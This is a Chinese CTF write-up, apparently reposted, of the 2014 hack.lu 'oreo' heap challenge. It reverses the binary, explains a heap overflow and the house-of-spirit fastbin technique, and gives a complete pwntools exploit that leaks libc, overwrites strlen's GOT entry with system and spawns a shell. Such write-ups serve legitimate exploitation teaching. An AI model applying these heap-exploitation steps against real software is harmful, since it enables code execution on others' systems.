zoukankan      html  css  js  c++  java
  • 2014-hack-lu-oreo 堆技巧house of spirit

    常规检查

      没有开启 RELRO ,意味我们可以修改 got 表地址。

    逆向分析

    What would you like to do?
    
    1. Add new rifle
    2. Show added rifles
    3. Order selected rifles
    4. Leave a Message with your Order
    5. Show current stats
    6. Exit!
    Action: 
    
    

    Add 函数

    unsigned int add()
    {
      char *v1; // [esp+18h] [ebp-10h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      v1 = dword_804A288;
      dword_804A288 = malloc(0x38u);
      if ( dword_804A288 )
      {
        *(dword_804A288 + 13) = v1;
        printf("Rifle name: ");
        fgets(dword_804A288 + 25, 56, stdin);
        set0(dword_804A288 + 25);
        printf("Rifle description: ");
        fgets(dword_804A288, 56, stdin);
        set0(dword_804A288);
        ++dword_804A2A4;
      }
      else
      {
        puts("Something terrible happened!");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    
    • dword_804A288:存储构造的块地址
    • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
    • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
    • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
    • dword_804A2A4:记录 add 次数

    Show 函数

    unsigned int show()
    {
      char *i; // [esp+14h] [ebp-14h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      printf("Rifle to be ordered:
    %s
    ", "===================================");
      for ( i = dword_804A288; i; i = *(i + 13) )
      {
        printf("Name: %s
    ", i + 25);
        printf("Description: %s
    ", i);
        puts("===================================");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    

      *(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 *(dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

    Order 函数

    unsigned int order()
    {
      char *ptr; // ST18_4
      char *v2; // [esp+14h] [ebp-14h]
      unsigned int v3; // [esp+1Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      v2 = dword_804A288;
      if ( dword_804A2A4 )
      {
        while ( v2 )
        {
          ptr = v2;
          v2 = *(v2 + 13);
          free(ptr);
        }
        dword_804A288 = 0;
        ++dword_804A2A0;
        puts("Okay order submitted!");
      }
      else
      {
        puts("No rifles to be ordered!");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    

      遍历并 free 掉所有块

    • dword_804A2A0:记录 order 的次数

    Leave 函数

    unsigned int leave()
    {
      unsigned int v0; // ST1C_4
    
      v0 = __readgsdword(0x14u);
      printf("Enter any notice you'd like to submit with your order: ");
      fgets(dword_804A2A8, 128, stdin);
      set0(dword_804A2A8);
      return __readgsdword(0x14u) ^ v0;
    }
    

      把 Message 写入 dword_804A2A8 处

    show 函数

    unsigned int show_0()
    {
      unsigned int v1; // [esp+1Ch] [ebp-Ch]
    
      v1 = __readgsdword(0x14u);
      puts("======= Status =======");
      printf("New:    %u times
    ", dword_804A2A4);
      printf("Orders: %u times
    ", dword_804A2A0);
      if ( *dword_804A2A8 )
        printf("Order Message: %s
    ", dword_804A2A8);
      puts("======================");
      return __readgsdword(0x14u) ^ v1;
    }
    

      分别打印 new 次数, order 次数和 message 内容。

    利用思路

      首先通过堆溢出泄露出 libc 的基址,然后通过 house of spirit 技术伪造 chunk 获得一个任意地址写的 chunk,然后我们把 system 地址写入 got 表,再次调用函数即可 get shell。

    利用过程

    泄露 libc 基址

    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printAddr = libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    

      *(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

    伪造区块到 0x804a2a0

    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    order()
    

      我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

    gdb-peda$ x /20xg 0x0804a2a8
    0x804a2a8:	0x000000000804a2c0	0x0000000000000000
    0x804a2b8:	0x0000000000000000	0x6161616161616161
    0x804a2c8:	0x6161616161616161	0x6161616161616161
    0x804a2d8:	0x0000000061616161	0x0000004061616161
    
    

      malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

    覆盖 got 表为 system 拿 shell

    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    

      这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system('/bin/sh')。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

    exp脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('oreo')
    pdbg.local()
    r = pdbg.run('local')
    elf = ELF('./oreo')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    def add(name,desc):
    	r.sendline('1')
    	r.sendline(name)
    	r.sendline(desc)
    
    def show():
    	r.sendline('2')
    
    def order():
    	r.sendline('3')
    
    def leave(message):
    	r.sendline('4')
    	r.sendline(message)
    
    
    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printfAddr - libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    
    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    
    #gdb.attach(r)
    order()
    
    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    
    #gdb.attach(r)
    
    r.interactive()
    
    

    成功 get shell

    内容来源

    [堆利用之 house of spirit](https: //zhuanlan.zhihu.com/p/61546352)

  • 相关阅读:
    XML注释
    Mysql 查询不重复数据
    java 支持跨域
    蓝桥杯历届试题-打印十字图--Java
    以流的方式读取url中的参数
    写log日志,并读取log日志
    Java Memcached的使用
    PageInfo实现分页
    java swing 窗口在屏幕中默认显示的位置 居中位置显示
    简易计算器布局 BorderLayout JPanel GridLayout 混合
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12357237.html
Copyright © 2011-2022 走看看